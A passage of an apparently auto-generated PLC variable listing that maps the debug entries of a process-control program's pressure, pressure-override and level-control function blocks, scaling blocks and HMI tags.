+190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +191;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +193;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +202;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +205;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +214;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +221;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +222;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +223;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +224;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +225;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +226;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +227;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +228;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +231;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0;PRESSURE_OVERRIDE; +232;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.EN;BOOL; +233;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ENO;BOOL; +234;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL;REAL; +235;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE;UINT; +236;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP;UINT; +237;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL;REAL; +238;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL;REAL; +239;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE;REAL; +240;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL;REAL; +241;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP;UINT; +242;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL;REAL; +243;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K;REAL; +245;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI;REAL; +246;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME;TIME; +247;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7;SCALE_TO_REAL; +248;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN;BOOL; +249;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE;UINT; +251;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL;REAL; +252;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX;REAL; +253;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN;REAL; +254;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN;UINT; +256;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE;REAL; +257;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET;REAL; +258;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX;REAL; +259;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN;REAL; +260;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX;REAL; +261;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN;REAL; +262;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0;SCALE_TO_REAL; +263;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN;BOOL; +264;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO;BOOL; +265;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +266;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL;REAL; +267;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX;REAL; +268;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN;REAL; +269;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE;REAL; +272;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET;REAL; +273;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT;REAL; +274;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT;REAL; +275;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT;REAL; +276;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT;REAL; +277;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT;REAL; +278;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT;REAL; +279;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT;REAL; +280;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT;UINT; +281;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0;LEVEL_CONTROL; +282;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.EN;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.ENO;BOOL; +284;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL;UINT; +285;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_SP;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CURR_POS;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.NEW_POS;UINT; +288;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME;TIME; +289;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_K;REAL; +290;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_TI;REAL; +291;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +292;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +293;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +294;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +295;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +296;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +297;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +298;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +299;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +300;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +301;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +302;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX;REAL; +303;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN;REAL; +304;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MAX;REAL; +305;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_MIN;REAL; +306;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL;REAL; +307;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_REAL;REAL; +308;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL;REAL; +309;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SP_REAL;REAL; +310;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +311;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +312;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +313;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +314;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +315;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +316;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +317;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +318;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +319;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +320;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +321;FB;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +322;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +323;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +324;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +325;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +326;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +327;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +328;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +329;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +330;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE;REAL; 